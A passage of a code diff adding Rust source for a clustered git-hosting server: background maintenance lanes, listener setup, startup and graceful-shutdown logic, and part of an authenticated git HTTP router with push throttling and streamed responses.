`RECONCILE_GAP` for the same reason the gc sweep paces its owners — this is a +/// backstop, and it must not compete with request traffic for object-store bandwidth. +/// Log-and-continue per repo: a marker is a view, not authorization, so one unreadable repo +/// is not a reason to leave the rest drifting. +pub async fn reconcile_owned_markers(app: &App) { + for key in app.store.pool.warm_repos() { + let Some((kind, owner, name)) = kind_of(&key) else { continue }; + let db_public = match kind { + crate::index::Kind::Repo => app.store.is_public(owner, name).await, + crate::index::Kind::Img => { + use crate::registry::store::ImageExt; + app.store.image_is_public(owner, name).await + } + }; + let db_public = match db_public { + Ok(v) => v, + Err(e) => { + tracing::warn!(owner = %owner, repo = %name, error = %e, "reconcile marker"); + continue; + } + }; + if let Err(e) = app.store.reconcile_marker(owner, name, kind, db_public).await { + tracing::warn!(owner = %owner, repo = %name, error = %e, "reconcile marker"); + } + tokio::time::sleep(rustic_git_app::RECONCILE_GAP).await; + } +} + +/// Recompute mergeability for the open changes in every repo this node has warm. +/// +/// THE SAFETY FLOOR for merge work, and it needs no Redis and no Mongo — which is the whole +/// reason discovery moved here. A repo's changes live in its own database, and opening that on +/// any other node fences this one, so the owner is the only party that may go looking. A lost +/// stream event now costs latency, never a check. +/// +/// Warm repos only, exactly like `reconcile_owned_markers`: a repo nobody has opened has no +/// reader waiting on the answer either. A repo whose Mongo changes have not been migrated yet +/// has an empty `pull/` prefix and is silently a no-op — the first routed touch migrates it, +/// and this lane picks it up on the next pass. +/// +/// Log-and-continue per repo, paced by `RECONCILE_GAP` for the same reason the marker lane is: +/// a backstop must yield bandwidth to real requests rather than compete with them. +pub async fn check_owned_pulls(app: &App) { + for key in app.store.pool.warm_repos() { + // Only git repos have pull requests; images and volumes share the pool with them. + let Some((crate::index::Kind::Repo, owner, name)) = kind_of(&key) else { continue }; + if let Err(e) = crate::pulls::check_repo(&app.store, owner, name).await { + tracing::warn!(owner = %owner, repo = %name, error = %e, "checking mergeability"); + } + tokio::time::sleep(rustic_git_app::RECONCILE_GAP).await; + } +} + +/// Re-announce the merges this node's repos are still waiting on. +/// +/// This node no longer PERFORMS merges. A merge is a fetch, a three-way merge and a push — +/// all of it expressible over the git protocol — so it happens in the worker, against a bare +/// clone, where an unbounded tree merge cannot sit in front of the pushes this node is serving +/// for the same repo. What stays here is the record: the job, the claim, and the outcome. +/// +/// So the floor moved with it. A `MergeRequested` event is the nudge; this lane is what makes +/// a LOST nudge cost latency rather than the merge, by re-emitting it for every job that is +/// still queued or whose claim lapsed. It costs nothing when there is nothing waiting, and it +/// is idempotent by construction — the claim is what decides, and only one worker wins it. +/// +/// Warm repos only and log-and-continue per repo, exactly like the two lanes above. +pub async fn announce_stranded_merges(app: &App) { + for key in app.store.pool.warm_repos() { + let Some((crate::index::Kind::Repo, owner, name)) = kind_of(&key) else { continue }; + let stranded = + match crate::pulls::stranded_merges(&app.store, owner, name, App::MERGE_LEASE).await { + Ok(v) if v.is_empty() => continue, // nothing waiting; no reason to pace + Ok(v) => v, + Err(e) => { + tracing::warn!(owner = %owner, repo = %name, error = %e, "looking for stranded merges"); + continue; + } + }; + for pr in stranded { + let by = pr.merge.as_ref().map(|j| j.requested_by.clone()).unwrap_or_default(); + crate::events::publish( + &app.store.cache, + &crate::events::Event { + kind: crate::events::Kind::MergeRequested, + repo: format!("{owner}/{name}"), + number: pr.number, + actor: by, + at_ms: crate::ownership::now_ms() as i64, + title: pr.title.clone(), + base: pr.base.clone(), + head: pr.head.clone(), + }, + ) + .await; + // Stamped AFTER the event, and best-effort: a stamp that fails costs one extra + // announcement on the next beat, while stamping first would lose the announcement + // itself if the publish never happened. + if let Err(e) = crate::pulls::mark_announced(&app.store, owner, name, pr.number).await { + tracing::warn!(owner = %owner, repo = %name, number = pr.number, error = %e, "stamping the merge announcement"); + } + } + tokio::time::sleep(rustic_git_app::RECONCILE_GAP).await; + } +} + +/// Fold the packs of every warm repo that has grown past `max_packs` of them back into one. +/// +/// A push adds a pack and nothing ever removed one, so every odb lookup probed O(pushes) indices +/// and a node move re-downloaded them all. Warm repos only, for the same reason as every lane +/// above: only the owner may rewrite a repo's packs, and `warm_repos()` is exactly the set this +/// node owns. `consolidate` is the online shape — it copies every object of the packs it listed +/// and needs no quiet period (see `gc.rs`). Log-and-continue and paced like the others. +pub async fn consolidate_owned_packs(app: &App, max_packs: usize) { + use crate::gc::RepackExt; + for key in app.store.pool.warm_repos() { + let Some((crate::index::Kind::Repo, owner, name)) = kind_of(&key) else { continue }; + let packs = match app.store.pack_index(owner, name).await { + Ok(v) => v.iter().filter(|(f, _)| f.ends_with(".pack")).count(), + Err(e) => { + tracing::warn!(owner = %owner, repo = %name, error = %e, "reading the pack index"); + continue; + } + }; + if packs <= max_packs { + continue; + } + match app.store.consolidate(owner, name).await { + Ok((before, after)) => { + tracing::info!(owner = %owner, repo = %name, before, after, "consolidated packs") + } + Err(e) => tracing::warn!(owner = %owner, repo = %name, error = %e, "consolidating packs"), + } + tokio::time::sleep(rustic_git_app::RECONCILE_GAP).await; + } +} diff --git a/bins/server/src/lib.rs b/bins/server/src/lib.rs new file mode 100644 index 00000000..9b8346af --- /dev/null +++ b/bins/server/src/lib.rs @@ -0,0 +1,25 @@ +// `Result` is the handler idiom here: the Err is an early-return response, +// unwrapped exactly once per request by `?`. Boxing it to please the size lint would add an +// allocation per refusal for no measurable gain. +#![allow(clippy::result_large_err)] + +// `pub`, not `pub(crate)`: this crate also has a `[[bin]]` (`src/main.rs`), which — unlike a +// module of this same lib — is a SEPARATE crate that only sees `pub` items. Every module here +// (`boot`, `lanes`, `listeners`, `router`, `browse_api`) reaches these the same way either way, +// so widening the visibility costs nothing internally and is what lets `main()` call +// `rustic_git_server::{store, App, ...}` directly instead of duplicating these re-exports. +pub use rustic_git_core::pktline; +pub use rustic_git_core::{err, hex, require_jwt_secret_from_env, Error, Result}; +pub use rustic_git_storage::{auth, cache, config, events, index, ownership, pool, store}; +pub use rustic_git_gitbase::{objects, refs}; +pub use rustic_git_pulls::{directory, merge_worker, pulls}; +pub use rustic_git_app::{App, AddrOf}; +pub use rustic_git_git::{browse, gc, protocol, proxy, ssh}; +pub use rustic_git_registry as registry; + +pub mod boot; +pub mod browse_api; +pub mod lanes; +pub mod listeners; +pub mod router; +pub mod vol_agent; diff --git a/bins/server/src/listeners.rs b/bins/server/src/listeners.rs new file mode 100644 index 00000000..5ba9ba0c --- /dev/null +++ b/bins/server/src/listeners.rs @@ -0,0 +1,22 @@ +//! Binds the four listeners `serve()` needs: public HTTP, SSH, peer HTTP, and the peer stream +//! port (`proxy::stream_addr`, derived from the peer address). Split out purely because these +//! four `bind` calls used to sit in the middle of `serve()`'s much longer setup. + +use crate::config::env; +use crate::Result; +use tokio::net::TcpListener; + +pub struct Listeners { + pub http: TcpListener, + pub ssh: TcpListener, + pub peer_http: TcpListener, + pub peer_stream: TcpListener, +} + +pub async fn bind(peer_addr: &str) -> Result { + let http = TcpListener::bind(env("RUSTIC_GIT_HTTP_ADDR", "0.0.0.0:8080")).await?; + let ssh = TcpListener::bind(env("RUSTIC_GIT_SSH_ADDR", "0.0.0.0:2222")).await?; + let peer_http = TcpListener::bind(peer_addr).await?; + let peer_stream = TcpListener::bind(crate::proxy::stream_addr(peer_addr)).await?; + Ok(Listeners { http, ssh, peer_http, peer_stream }) +} diff --git a/bins/server/src/main.rs b/bins/server/src/main.rs new file mode 100644 index 00000000..5e428104 --- /dev/null +++ b/bins/server/src/main.rs @@ -0,0 +1,301 @@ +use rustic_git_server::boot::{host_key, run}; +use rustic_git_server::config::{env, open_store}; +use rustic_git_server::lanes::spawn_lease_tasks; +use rustic_git_server::listeners; +use rustic_git_server::store::Store; +use rustic_git_server::{err, hex, require_jwt_secret_from_env, App, Result}; +use std::sync::Arc; + +/// Start the server. This node opens whatever repo the balancer sends it and holds it warm +/// afterwards. Nothing is elected here: which node serves a repo is the balancer's decision, and +/// it must route a repo to exactly one node, or the second opener fences the first. +/// How long the release of every warm database may take before the drain starts without it. +const RELEASE_DEADLINE: std::time::Duration = std::time::Duration::from_secs(8); +/// Hard ceiling on the whole shutdown, enforced by a watchdog that exits the process. +const HARD_EXIT: std::time::Duration = std::time::Duration::from_secs(15); + +async fn serve() -> Result<()> { + let store = open_store(true).await?; + store.spawn_health_probe(); + + let peer_addr = env("RUSTIC_GIT_PEER_ADDR", "0.0.0.0:8081"); + let peer_port: u16 = peer_addr + .rsplit(':') + .next() + .and_then(|p| p.parse().ok()) + .ok_or_else(|| err("RUSTIC_GIT_PEER_ADDR must be host:port"))?; + // Multi-node when a peer Service is configured, single node otherwise. Single node needs no + // ownership map at all: with one node there is nothing to coordinate, so it claims everything + // from an empty in-process map and never touches the ownership database. + let svc = std::env::var("RUSTIC_GIT_PEER_SVC").unwrap_or_default(); + let (me, peer_secret, ownership, leader_for_app) = if svc.is_empty() { + // Random secret so nothing on the network can drive the peer port. + use rand::RngCore; + let mut b = [0u8; 32]; + rand::thread_rng().fill_bytes(&mut b); + let secret = hex(&b); + ( + "rustic-git-0".to_string(), + secret, + rustic_git_server::ownership::OwnershipStore::Solo, + "rustic-git-0".to_string(), + ) + } else { + let need = |k: &str| { + std::env::var(k) + .ok() + .filter(|s| !s.is_empty()) + .ok_or_else(|| err(format!("{k} is required with RUSTIC_GIT_PEER_SVC"))) + }; + // Checked here, where fleet mode is decided: App::new falls back to a random + // per-process secret, which in a fleet means each node rejects the others' tokens. + require_jwt_secret_from_env()?; + let me = need("RUSTIC_GIT_SELF")?; + let secret = need("RUSTIC_GIT_PEER_SECRET")?; + // Fails loudly on a malformed name: the leader is derived from it, and a name without an + // ordinal would silently make this pod its own leader — two leaders, two maps. + // + // RUSTIC_GIT_LEADER overrides that derivation for a leader in its own StatefulSet, and it + // decides the one thing that must never be decided twice: who opens the map as WRITER. + // Read here rather than passed down, so the writer decision and App's routing decision + // cannot drift apart. + let leader = match std::env::var("RUSTIC_GIT_LEADER").ok().filter(|v| !v.is_empty()) { + Some(l) => l, + None => rustic_git_server::ownership::leader_of(&me)?, + }; + let store = rustic_git_server::ownership::OwnershipStore::open(store.os.clone(), me == leader) + .await?; + (me, secret, store, leader) + }; + // A node name resolves to its peer listener through the StatefulSet's own identity: no + // lookup, nothing that can be stale. + let svc_for_addr = svc.clone(); + let addr_of: rustic_git_server::AddrOf = if svc.is_empty() { + std::sync::Arc::new(move |_: &str| format!("127.0.0.1:{peer_port}")) + } else { + std::sync::Arc::new(move |n: &str| format!("{n}.{svc_for_addr}:{peer_port}")) + }; + // Pod zero holds the map, not repositories, so the leader must know how many servers exist to + // hand a repo to. Defaults to 1 (solo), where the leader serves because there is no one else. + // Defaults to the leader's own prefix, which is the single-StatefulSet layout. + let server_prefix = std::env::var("RUSTIC_GIT_SERVER_PREFIX") + .ok() + .filter(|v| !v.is_empty()) + .unwrap_or_else(|| { + leader_for_app + .rsplit_once('-') + .map(|(p, _)| p.to_string()) + .unwrap_or_else(|| leader_for_app.clone()) + }); + // Required with a fleet: defaulting to 1 made the leader hand every repo to `srv-0`, silently, + // on any pod whose env lost the variable. Solo mode has nobody else to hand a repo to, so 1. + let replicas: u32 = match std::env::var("RUSTIC_GIT_REPLICAS").ok().filter(|v| !v.is_empty()) { + Some(v) => v + .parse() + .ok() + .filter(|n| *n >= 1) + .ok_or_else(|| err("RUSTIC_GIT_REPLICAS must be a positive integer"))?, + None if svc.is_empty() => 1, + None => { + return Err(err( + "RUSTIC_GIT_REPLICAS is required with RUSTIC_GIT_PEER_SVC (the leader hands repos \ + to rustic-git-srv-{0..N-1})", + )) + } + }; + // The one thing a serving node still asks Mongo for: a repo's pre-existing pull requests, copied + // into its own database on first touch. A failure here must NOT degrade to "nothing to migrate": + // this node may own repos whose changes live only in Mongo, and recording them as migrated would + // hide them for good. So it still serves git, but pull routes fail loudly until it is restarted + // against a reachable directory. + let dir = match std::env::var("RUSTIC_GIT_MONGO_URI").ok().filter(|s| !s.is_empty()) { + Some(uri) => { + match rustic_git_server::directory::Directory::connect(&uri, &env("RUSTIC_GIT_MONGO_DB", "kloudlite")).await { + Ok(d) => rustic_git_server::pulls::Source::Directory(Arc::new(d)), + Err(e) => { + tracing::warn!(error = %e, "directory unreachable, pull requests will not migrate"); + rustic_git_server::pulls::Source::Unavailable + } + } + } + None => rustic_git_server::pulls::Source::Absent, + }; + // Splitting the leader into its own StatefulSet breaks name derivation: a server called + // rustic-git-1 cannot compute "rustic-git-leader-0" from its own name. So both halves of the + // topology become configuration when set, and every pod MUST agree — two nodes disagreeing on + // who the writer is opens the map twice and fences a live database. + let app = Arc::new( + App::new(store.clone(), Arc::new(ownership), me, addr_of, peer_secret, replicas) + .with_directory(dir) + .with_topology(leader_for_app, server_prefix), + ); + let jobs = rustic_git_server::boot::build_jobs_state().await?; + // Withdraw any draining mark left by a previous life of this pod: the name is stable across + // restarts, so without this a node comes back permanently ineligible for new repos. + if !svc.is_empty() { + if let Err(e) = app.announce_draining(false).await { + tracing::warn!(error = %e, "clearing the shutdown mark"); + } + } + store.pool.spawn_sweeper(); + // The lifecycle invariant, both directions: eviction releases the lease before it closes the + // database, and the renewal task closes any database whose lease we have lost. Single node has + // neither — nothing to release to, nothing that can take a lease away. + if !svc.is_empty() { + store.pool.set_release_hook( + Arc::downgrade(&app) as std::sync::Weak + ); + spawn_lease_tasks(app.clone()); + } + + let l = listeners::bind(&peer_addr).await?; + let key = host_key(&env("RUSTIC_GIT_HOST_KEY", "./.local/host_key"))?; + tracing::info!( + "http on {} ssh on {} — peers on {} and {}, up to {} warm databases", + l.http.local_addr()?, + l.ssh.local_addr()?, + l.peer_http.local_addr()?, + l.peer_stream.local_addr()?, + store.pool.max_warm() + ); + + // SIGTERM: stop accepting, let in-flight requests finish, close every warm database. Without + // this the kubelet's SIGTERM kills the process outright — in-flight clones and pushes die, the + // pool is never closed, and the next opener replays the WAL. terminationGracePeriodSeconds is + // meaningless without a handler that uses it. + // Both HTTP listeners drain: for repos this node owns, most traffic arrives on the PEER + // listener (forwarded from the other N-1 nodes), so draining only the public one would cut the + // majority of in-flight requests. One SIGTERM, fanned out to both via a watch channel. + // ORDER MATTERS, and the first deploy proved it: the pool must be released the instant SIGTERM + // arrives, BEFORE the listeners drain — not after. Kubernetes drops a terminating pod from the + // headless Service at once, so within a few seconds every peer stops seeing it, and the next + // node to be sent one of its repos claims it once the lease lapses or is released. If this pod is still holding those databases while + // it drains, that open fences it: in-flight requests here fail, the peer's next write flaps + // ownership back, and the roll shows a burst of 503s in the middle of every preStop window + // (measured: 1–2 failures per pod, 7–14 s after Killing, on three consecutive rolls). Releasing + // first hands the repos over cleanly; a request in flight here that still needs its database + // gets a prompt 503 — which is what the fence would have given it, minus the flap. + let (term_tx, term_rx) = tokio::sync::watch::channel(false); + let pool_for_term = store.pool.clone(); + let app_for_term = app.clone(); + tokio::spawn(async move { + let mut term = tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) + .expect("sigterm handler"); + term.recv().await; + tracing::info!("sigterm: releasing the pool"); + // Say so BEFORE releasing. Releasing empties this node, which is exactly what makes the + // leader pick it for the next repo — so the announcement has to land first or the pod can + // be handed work on its way out. + if let Err(e) = app_for_term.announce_draining(true).await { + tracing::warn!(error = %e, "announcing shutdown"); + } + + // A watchdog, because every step below has been observed to hang. Measured: the leader sat + // through the whole 90s terminationGracePeriodSeconds and was SIGKILLed while every other + // pod exited in 17s — and a SIGKILLed leader is a fleet-wide claim outage for the length of + // the grace period, which is the single most expensive thing a roll can do here. Whatever + // is stuck, the process leaves on time: the pool release below is what peers actually need, + // and it is attempted first with its own bound. + tokio::spawn(async { + tokio::time::sleep(HARD_EXIT).await; + tracing::error!("shutdown watchdog: exiting"); + // Exit 1, not 0: this path means shutdown hung and got cut short by the watchdog, + // not that it finished cleanly. A 0 here made every hung-shutdown restart look like a + // normal exit in the pod's exit-code history, hiding exactly the failure mode this + // watchdog exists to catch. + std::process::exit(1); + }); + + // Bounded: a release that cannot finish must not hold up the signal to drain. The lease + // lapses on its own TTL if this does not land, which is the slower path but not a wrong one. + match tokio::time::timeout(RELEASE_DEADLINE, pool_for_term.close()).await { + Ok(()) => tracing::info!("sigterm: pool released"), + Err(_) => tracing::warn!("sigterm: pool release timed out; draining anyway"), + } + let _ = term_tx.send(true); // then let the listeners drain what is in flight + }); + let wait = |mut rx: tokio::sync::watch::Receiver| async move { + while !*rx.borrow() { + if rx.changed().await.is_err() { + break; + } + } + }; + // Stop waiting for the drain after this long and exit anyway. + // + // `with_graceful_shutdown` waits for every CONNECTION to close, not merely for in-flight + // requests to finish — and followers hold pooled keep-alive connections to the leader's peer + // port, reusing them for a renewal every RENEW_EVERY. Those connections never go idle, so the + // leader never finished draining: measured, it sat through the whole 90s + // terminationGracePeriodSeconds and was SIGKILLed, while every other pod exited in 17s. That + // made a leader restart a ninety-second window with no grants anywhere in the fleet, and made + // a rolling restart take 112s instead of 37s. + // + // The pool is already released before this point, so nothing here is holding a database; what + // remains is idle sockets and whatever request is genuinely in flight. + const DRAIN_DEADLINE: std::time::Duration = std::time::Duration::from_secs(5); + let deadline = { + let mut rx = term_rx.clone(); + async move { + while !*rx.borrow() { + if rx.changed().await.is_err() { + break; + } + } + tokio::time::sleep(DRAIN_DEADLINE).await; + } + }; + let (a2, a3, a4) = (app.clone(), app.clone(), app.clone()); + let http_srv = axum::serve(l.http, rustic_git_server::router::router(a2, jobs.clone())) + .with_graceful_shutdown(wait(term_rx.clone())); + let peer_srv = axum::serve(l.peer_http, rustic_git_server::router::peer_router(a3, jobs)) + .with_graceful_shutdown(wait(term_rx.clone())); + // Both HTTP servers as ONE select arm: select! returns when its first arm resolves, and if + // each server were its own arm the first to finish draining would end the select and + // pool.close() would run under the other's in-flight requests. try_join waits for both. + tokio::select! { + r = async { tokio::try_join!(http_srv, peer_srv) } => { r?; } + _ = deadline => { tracing::warn!("drain deadline reached; exiting with sockets still open"); } + r = rustic_git_server::proxy::serve_peer_streams(a4, l.peer_stream) => { r?; } + r = rustic_git_server::ssh::serve(app.clone(), l.ssh, key) => { r?; } + } + // ponytail: the SSH and peer-stream listeners stop on select! exit without draining; the + // preStop delay is what makes that rare (the pod has left DNS before it stops). Add per-session + // tracking if SSH sessions being cut on roll ever matters. + // A second close() is a no-op after the SIGTERM path already ran it; it covers the non-signal + // exits (a listener error) so those still flush. The ownership map closes with it: on the + // leader its last writes are still inside the 10ms flush window. + store.pool.close().await; + if let Err(e) = app.ownership.close().await { + tracing::error!(error = %e, "closing the ownership map"); + } + Ok(()) +} + +#[tokio::main] +async fn main() -> Result<()> { + rustic_git_core::log::init(); + rustic_git_core::metrics::init(); + // See config::install_crypto_provider — it must happen before any TLS, and + // `admin` subcommands reach object storage without going through open_store. + rustic_git_server::config::install_crypto_provider(); + + let args: Vec = std::env::args().skip(1).collect(); + let a: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + if a.first() == Some(&"serve") { + let r = serve().await; + if let Err(e) = r { + eprintln!("{e}"); + std::process::exit(2); + } + return Ok(()); + } + let store: Arc = open_store(false).await?; + let r = run(&a, &store).await; + store.pool.close().await; + if let Err(e) = r { + eprintln!("{e}"); + std::process::exit(2); + } + Ok(()) +} diff --git a/bins/server/src/router/git.rs b/bins/server/src/router/git.rs new file mode 100644 index 00000000..b7332c98 --- /dev/null +++ b/bins/server/src/router/git.rs @@ -0,0 +1,594 @@ +use super::limits::{bad_request, client_err, fenced_elsewhere, internal, max_body, max_decompressed, ClientError}; +use crate::protocol::{receive, upload}; +use crate::store::Repo; +use crate::App; +use axum::{ + body::{Body, Bytes}, + extract::{Path, Query, State}, + http::{header, HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + routing::{get, post}, + Router, +}; +use rustic_git_core::httpx::{basic_creds, unauthorized, Trusted}; +use rustic_git_storage::store::Store; +use std::collections::HashMap; +use std::fs::File; +use std::io::{BufRead, Cursor, Read, Seek, SeekFrom, Write}; +use std::sync::atomic::AtomicBool; +use std::sync::{Arc, OnceLock}; +use std::time::Duration; +use tokio::sync::{mpsc::Receiver, Semaphore}; +use tokio_util::io::{StreamReader, SyncIoBridge}; + +pub(crate) async fn open( + app: &App, + trusted: &Trusted, + headers: &HeaderMap, + owner: &str, + name: &str, + read_only: bool, +) -> Result { + // A peer already authenticated this client; its word is trusted because `trust_peer` has + // checked the shared secret. The public listener always presents `Trusted(None)`. + let auth_owner = match &trusted.0 { + Some(o) => Some(o.clone()), + None => { + match basic_creds(headers) { + Some((user, t)) => { + // The token is the secret, but the username must name the owner it belongs to + // (or be git's `x` placeholder): halves that disagree did not verify, and the + // answer is a refusal, never a silent fall-through to anonymous. + match app.store.owner_for_token(&t).await.map_err(internal)? { + Some(o) if crate::auth::user_names(&user, &o, true) => Some(o), + _ => return Err(unauthorized()), + } + } + // No credentials is not yet a failure: a public repo may still admit this caller. + None => None, + } + } + }; + // Parsed before the visibility check: the raw path segment still carries `.git`, and looking + // that up would warm a second, bogus pool entry alongside the repo's real one. + let Some((owner, name)) = crate::protocol::parse_repo_pair(owner, name) else { + return Err((StatusCode::BAD_REQUEST, "invalid repository path").into_response()); + }; + // Gated on `repo_public`, which asks the object store rather than the pool first: opening a + // database through `db_for` CREATES one for whatever name it is handed. Unguarded, an + // anonymous request on the public listener could conjure and warm a repo per mistyped path. + let public = app.store.repo_public(&owner, &name).await.unwrap_or(false); + if !crate::auth::authorize(auth_owner.as_deref(), &owner, public && read_only) { + // No credentials at all gets 401, not 404/403: it tells the client to present a token, + // whereas a private repo denied to an authenticated stranger looks like FORBIDDEN. + return Err(if auth_owner.is_none() { + unauthorized() + } else { + StatusCode::FORBIDDEN.into_response() + }); + } + match app.open_repo_after_fence(&owner, &name).await { + Ok(Some(repo)) => Ok(repo), + Ok(None) => Err((StatusCode::NOT_FOUND, "repository not found").into_response()), + // Routing said another node owns it (or it fenced again): 503 so the client retries + // against the owner. + Err(e) if crate::pool::is_fenced(&e) => Err(fenced_elsewhere()), + Err(e) => { + tracing::error!(owner = %owner, repo = %name, error = %e, "open_repo"); + // We were routed here, so the map names us — and we have just proved we cannot serve. + // Holding the lease anyway leaves the repo with an owner that cannot open it until the + // TTL lapses; a forced claim makes that worse, because it fenced a peer to get here. + // Give the lease back now, so the next request claims fresh instead of waiting. + // Best-effort: a release that fails only means the TTL does the same job later. + // + // CLOSE FIRST. `open_repo` warms the database (`repo_exists` opens it) before the + // step that failed, and `release` requires the handle already closed: a release with + // the handle warm lets the next claimant open the database while this node's handle + // is still live — two writers, until the fence lands and ownership flaps back. + app.store.pool.evict(&owner, &name).await; + let repo = format!("{owner}/{name}"); + if let Err(e) = app.release(&repo).await { + tracing::warn!(repo = %repo, error = %e, "releasing after a failed open"); + } + Err((StatusCode::INTERNAL_SERVER_ERROR, "internal error").into_response()) + } + } +} + +/// Signals the (blocking) protocol worker that the client is gone. Axum drops the handler future +/// when the connection closes, so dropping this guard is our disconnect notification — without it +/// an abandoned clone would keep building its pack to completion on a blocking thread. +struct Disconnect(Arc); +impl Drop for Disconnect { + fn drop(&mut self) { + self.0.store(true, std::sync::atomic::Ordering::Relaxed); + } +} + +fn body_reader(headers: &HeaderMap, raw: Box) -> Box { + if headers + .get(header::CONTENT_ENCODING) + .map(|v| v == "gzip") + .unwrap_or(false) + { + Box::new(flate2::read::GzDecoder::new(raw).take(max_decompressed())) + } else { + raw + } +} + +/// Read the whole body only AFTER `open()` has authenticated the caller. `Bytes` as an extractor +/// runs before the handler, so an anonymous client could make the pod buffer `max_body` and, with +/// a few of those in flight, OOM it — which moves repo ownership, the one thing that must not +/// happen on an attacker's schedule. The `DefaultBodyLimit` layer only governs extractors, so the +/// cap is applied here by hand. Upload-pack only: its request is the negotiation, kilobytes. +async fn read_body(body: Body) -> Result { + axum::body::to_bytes(body, max_body()) + .await + .map_err(|_| (StatusCode::PAYLOAD_TOO_LARGE, "request body too large").into_response()) +} + +/// The request body as a blocking `Read` the indexer pulls from directly, so a push never sits +/// in memory: `gix_pack::Bundle::write_to_directory` streams from any `BufRead`. `max_body` +/// applies to the bytes on the wire, the same cap `read_body` enforces, but it surfaces as a +/// read error inside the protocol — git shows it as the push's report line — rather than a 413, +/// because it is only known once the indexer has consumed that much. +fn live_body(body: Body) -> Box { + use futures::StreamExt; + let cap = max_body(); + let mut seen = 0usize; + let stream = body.into_data_stream().map(move |c| { + let c = c.map_err(std::io::Error::other)?; + seen = seen.saturating_add(c.len()); + if seen > cap { + return Err(std::io::Error::other("request body too large")); + } + Ok(c) + }); + Box::new(SyncIoBridge::new(StreamReader::new(stream))) +} + +/// Copies what it reads into `spool`, so the request can be replayed. Only the fence retry +/// (`respond`) ever reads it back, and the pack has already been read in full by the time a DB +/// write can observe a fence — a retry sees the whole request. +// ponytail: the spool doubles the push's disk write (the indexer writes the pack too) purely to +// keep the in-flight fence retry; if disk throughput ever matters, answer such a fence with 503 +// and let git re-push instead. +struct Tee { + inner: Box, + spool: File, +} + +impl Read for Tee { + fn read(&mut self, buf: &mut [u8]) -> std::io::Result { + let n = self.inner.read(buf)?; + self.spool.write_all(&buf[..n])?; + // Counted as they arrive, not from Content-Length: a push is chunked, and a client that + // dies mid-pack still cost these bytes. + metrics::counter!("git_pack_bytes_in_total", "op" => "receive").increment(n as u64); + Ok(n) + } +} + +/// Bytes held back before the response starts going out. Below this the whole reply is still in +/// hand, so a fence can be retried and an error can still change the status line; the protocol +/// only touches the database before it writes anything, so a fence past this point does not +/// happen in practice. It is also the chunk size on the wire: `BandWriter` writes one pkt-line +/// at a time, and a channel send per pkt-line would cost more than the copy it saves. +const SPILL: usize = 64 * 1024; + +/// The protocol's output on HTTP: a `Write` on the blocking side that becomes the response body +/// once `SPILL` bytes have accumulated. Bounded by the channel — a client that stops reading +/// stalls the pack build instead of growing the pod. +struct Streamed { + buf: Vec, + tx: tokio::sync::mpsc::Sender>, + spilled: bool, +} + +impl Streamed { + fn send(&mut self) -> std::io::Result<()> { + self.spilled = true; + let chunk = Bytes::from(std::mem::take(&mut self.buf)); + // The receiver is the response body: gone means the client hung up, and a write error + // is how the pack writer learns to stop. + self.tx + .blocking_send(Ok(chunk)) + .map_err(|_| std::io::Error::new(std::io::ErrorKind::BrokenPipe, "client went away")) + } +} + +impl Write for Streamed { + fn write(&mut self, b: &[u8]) -> std::io::Result { + self.buf.extend_from_slice(b); + if self.buf.len() >= SPILL { + self.send()?; + } + Ok(b.len()) + } + fn flush(&mut self) -> std::io::Result<()> { + if self.spilled && !self.buf.is_empty() { + self.send()?; + } + Ok(()) + } +} + +type Serve = fn(&Store, &Repo, &mut dyn BufRead, &mut dyn Write, &AtomicBool) -> crate::Result<()>; +type Input = std::io::Result>; + +enum Attempt { + /// The reply spilled: its status is 200 and the rest is on the wire as it is produced. + Streaming(Body), + /// The reply finished (or failed) while still held back, so the caller decides the status. + Done(crate::Result>), +} + +async fn attempt( + store: Arc, + repo: Repo, + serve: Serve, + input: Input, + headers: &HeaderMap, + flag: Arc, + guard: &mut Option, +) -> Attempt { + let input = match input { + Ok(i) => i, + Err(e) => return Attempt::Done(Err(e.into())), + }; + let (tx, mut rx) = tokio::sync::mpsc::channel(4); + let mut input = std::io::BufReader::new(body_reader(headers, input)); + let mut join = tokio::task::spawn_blocking(move || { + let mut out = Streamed { buf: Vec::new(), tx, spilled: false }; + let res = serve(&store, &repo, &mut input, &mut out, &flag); + if !out.spilled { + return res.map(|()| Some(out.buf)); + } + match res { + Ok(()) => { + let _ = out.flush(); + } + // Past the status line the only report left is to break the body: hyper aborts the + // chunked stream and git sees a truncated pack, not a clean one. + Err(e) => { + let _ = out.tx.blocking_send(Err(std::io::Error::other(e.to_string()))); + } + } + Ok(None) + }); + let streaming = |first: Option>, + rx: Receiver>, + guard: &mut Option| { + // The guard rides with the body: the handler future ends when the response is returned, + // and a guard dropped there would read as a disconnect at the first byte. + let guard = guard.take(); + let rest = futures::stream::unfold((rx, guard), |(mut rx, g)| async move { + let c = rx.recv().await?; + Some((c, (rx, g))) + }); + let head = futures::stream::iter(first); + Attempt::Streaming(Body::from_stream(futures::StreamExt::chain(head, rest))) + }; + let joined = tokio::select! { + c = rx.recv() => match c { + Some(c) => return streaming(Some(c), rx, guard), + None => join.await, + }, + r = &mut join => r, + }; + match joined { + Ok(Ok(Some(buf))) => Attempt::Done(Ok(buf)), + Ok(Ok(None)) => streaming(None, rx, guard), + Ok(Err(e)) => Attempt::Done(Err(e)), + Err(e) => Attempt::Done(Err(crate::err(e.to_string()))), + } +} + +/// Pushes in flight on this pod at once. The pack no longer sits in memory, but each push still +/// indexes it on every core and spools it to the cache disk, so the count is what keeps a burst +/// from starving the repos already served here. Upload-pack is not gated: its request bodies +/// are small. +// ponytail: whole-pod counter, not per repo or per owner. +fn receive_permits() -> &'static Semaphore { + static SEM: OnceLock = OnceLock::new(); + SEM.get_or_init(|| { + let n = std::env::var("RUSTIC_GIT_MAX_CONCURRENT_RECEIVE") + .ok() + .and_then(|v| v.parse().ok()) + .filter(|n| *n > 0) + .unwrap_or(2); + Semaphore::new(n) + }) +} + +fn too_many_pushes() -> Response { + ( + StatusCode::SERVICE_UNAVAILABLE, + [(header::RETRY_AFTER, "5")], + "too many pushes in flight; retry", + ) + .into_response() +} + +/// The repo to run the second attempt against, after a fence that routing says we can still own. +/// `None` means the caller should answer 503. +async fn reopen_after_fence(app: &App, owner: &str, name: &str) -> Option { + if !app.on_fenced(owner, name).await { + return None; + } + app.store.open_repo(owner, name).await.ok().flatten() +} + +async fn info_refs( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, +) -> Response { + let service = q.get("service").cloned().unwrap_or_default(); + let repo = match open(&app, &trusted, 